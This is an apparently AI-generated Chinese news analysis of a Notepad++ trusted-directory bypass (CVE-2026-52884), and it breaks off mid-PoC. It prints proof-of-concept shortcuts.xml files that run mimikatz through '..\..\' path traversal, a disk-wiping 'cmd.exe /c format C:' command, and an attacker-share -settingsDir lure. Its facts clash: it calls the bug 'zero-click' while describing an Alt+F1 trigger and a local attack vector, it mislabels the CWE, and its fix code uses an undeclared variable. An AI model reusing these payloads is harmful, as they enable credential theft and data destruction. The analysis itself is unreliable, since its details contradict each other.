← 返回信息流
AI 资讯Hacker News·8 小时前

Notepad++ 曝零点击远程代码执行漏洞 CVE-2026-52884

原标题:Notepad++ Zero-Click RCE via Path Traversal (CVE-2026-52884)

速览

文本编辑器 Notepad++ 被发现存在一个严重的安全漏洞(CVE-2026-52884)。该漏洞源于路径遍历缺陷,攻击者无需用户交互即可触发远程代码执行。此漏洞对依赖该工具的开发者和企业构成重大安全风险。

AI 深度解读

Notepad++ 零点击远程代码执行漏洞深度解读:路径遍历绕过安全机制 (CVE-2026-52884)

背景

Notepad++ 是一款在 Windows 平台上广泛使用的开源文本编辑器。近期披露的安全研究揭示了一个严重的安全漏洞,该漏洞允许攻击者在无需用户交互(Zero-Click)的情况下实现任意代码执行。

此前,Notepad++ 曾修复过一个类似的漏洞 CVE-2026-48800,该漏洞涉及对 shortcuts.xml 文件中命令的安全验证。官方在后续版本 v8.9.6.1 中引入了 isInTrustedDirectory() 函数,旨在限制仅允许执行位于受信任目录(如 C:\Program Files\C:\Windows\System32\ 等)下的可执行文件。然而,新的研究发现,这一补丁存在逻辑缺陷,攻击者可以通过路径遍历(Path Traversal)技术绕过该检查,从而执行位于用户目录或其他非受信任位置的恶意软件(如 Mimikatz)。

核心内容

漏洞概述

  • 漏洞编号:CVE-2026-52884
  • 受影响版本:Notepad++ v8.9.6.1(截至披露时的最新已修补版本)
  • 漏洞类型:CWE-42(路径遍历)/ CWE-59(链接解析不当)
  • 严重程度:CVSS 3.1 评分 7.8(高危)
    • 攻击向量:本地 (AV:L)
    • 攻击复杂度:低 (AC:L)
    • 所需权限:低 (PR:L)
    • 用户交互:无 (UI:N)
    • 影响范围:机密性、完整性、可用性均高 (C:H/I:H/A:H)
  • 绕过对象:CVE-2026-48800 的补丁机制

技术原理分析

官方在 RunDlg.cppCommand::run() 函数中调用 ShellExecute() 之前,增加了 isInTrustedDirectory() 验证。该函数的初衷是检查解析后的可执行文件路径是否位于预定义的受信任目录列表中:

  • C:\Program Files\
  • C:\Program Files (x86)\
  • C:\Windows\System32\
  • C:\Windows\

漏洞根源isInTrustedDirectory() 函数在检查路径时,未对路径进行规范化(Canonicalization)。它使用的是基于前缀的匹配逻辑(如 PathIsPrefix() 或等效函数),只要路径字符串以受信任目录字符串开头,即判定为安全。

攻击者可以利用 ..\..\ 路径遍历序列,构造一个看似以受信任目录开头,但实际解析后指向非受信任位置的路径。例如,C:\Windows\System32\..\..\Users\[USERNAME]\Downloads\mimikatz.exe 在字符串匹配层面以 C:\Windows\System32\ 开头,从而通过了检查,但在文件系统层面,它实际指向的是用户下载目录。

确认的绕过向量

  1. 路径遍历绕过(CRITICAL)

    • 证明:在 v8.9.6.1 版本中,如果在 shortcuts.xml 中配置路径为 C:\Windows\System32\..\..\Users\[USERNAME]\Downloads\mimikatz.exe,Notepad++ 将直接执行 Mimikatz,且不弹出任何安全警告对话框。相比之下,如果直接使用绝对路径 C:\Users\[USERNAME]\Downloads\mimikatz.exe,则会正确触发安全警告。
  2. 利用受信任的可执行文件作为启动器(HIGH)

    • 证明cmd.exepowershell.exe 位于受信任目录中。攻击者可以在 shortcuts.xml 中配置 cmd.exe /c calc.exe,这将直接执行计算器,且不会触发任何安全对话框。这意味着攻击者可以利用这些系统自带程序执行任意命令。

根本原因代码分析

错误的实现逻辑如下:

bool isInTrustedDirectory(const wchar_t* path) {
    wchar_t trustedDirs[][MAX_PATH] = {
        L"C:\\Program Files\\",
        L"C:\\Program Files (x86)\\",
        L"C:\\Windows\\System32\\",
        L"C:\\Windows\\",
    };
    for (auto& trusted : trustedDirs) {
        // BUG: 在未规范化的情况下检查前缀
        if (PathIsPrefix(trusted, path)) 
            return true;
    }
    return false;
}

PathIsPrefix() 仅检查字符串前缀,不解析 ...。因此,C:\Windows\System32\..\..\Users\... 会被误判为以 C:\Windows\System32\ 开头。

正确的修复方案应在检查前使用 PathCanonicalize()GetFullPathNameW() 对路径进行规范化,解析掉 .. 和冗余分隔符:

bool isInTrustedDirectory(const wchar_t* path) {
    wchar_t canonicalPath[MAX_PATH] = {};
    // 解析 .., . 和冗余分隔符
    if (!PathCanonicalize(canonicalPath, path))
        return false;
    
    // 在规范化后的路径上进行检查
    for (auto& trusted : trustedDirs) {
        if (PathIsPrefix(trusted, canonicalPath))
            return true;
    }
    return false;
}

攻击场景

  1. 直接配置文件写入 任何以同一用户身份运行的进程都可以修改 %APPDATA%\Notepad++\shortcuts.xml。当用户按下 Alt+F1(或点击“运行”->“打开文档”)时,恶意命令将在无警告的情况下执行。

  2. 恶意快捷方式 (.lnk) 结合 -settingsDir= 参数 攻击者可以创建一个 .lnk 文件,指向一个由攻击者控制的共享目录,并使用 -settingsDir 参数强制 Notepad++ 从该目录加载 shortcuts.xmlnotepad++.exe -settingsDir=\\attacker\share\config 如果该目录下的 shortcuts.xml 包含路径遍历绕过向量,Notepad++ 加载配置后将执行恶意命令。

  3. 云同步投毒 如果用户使用 OneDrive、Dropbox 等同步工具同步 %APPDATA%\Notepad++ 目录,攻击者若控制了云存储账户,可以注入包含路径遍历绕过向量的 shortcuts.xml。当用户同步并打开 Notepad++ 时,恶意代码即被触发。

  4. cmd.exe 启动器链 即使不涉及路径遍历,由于 cmd.exe 位于受信任目录,攻击者可以直接配置其执行任意命令,例如格式化磁盘: cmd.exe /c format C: /fs:NTFS /q /y

概念验证 (PoC)

PoC 1:包含路径遍历绕过的 shortcuts.xml

<?xml version="1.0" encoding="UTF-8" ?>
<NotepadPlus>
    <InternalCommands />
    <Macros />
    <UserDefinedCommands>
        <Command name="Run Mimikatz" Ctrl="no" Alt="yes" Shift="no" Key="112">
            C:\Windows\System32\..\..\Users\[USERNAME]\Downloads\mimikatz.exe
        </Command>
    </UserDefinedCommands>
    <PluginCommands />
    <ScintillaKeys />
</NotepadPlus>

PoC 2:包含 cmd.exe 启动器的 shortcuts.xml

<?xml version="1.0" encoding="UTF-8" ?>
<NotepadPlus>
    <InternalCommands />
    <Macros />
    <UserDefinedCommands>
        <Command name="Open
查看原文 →github.com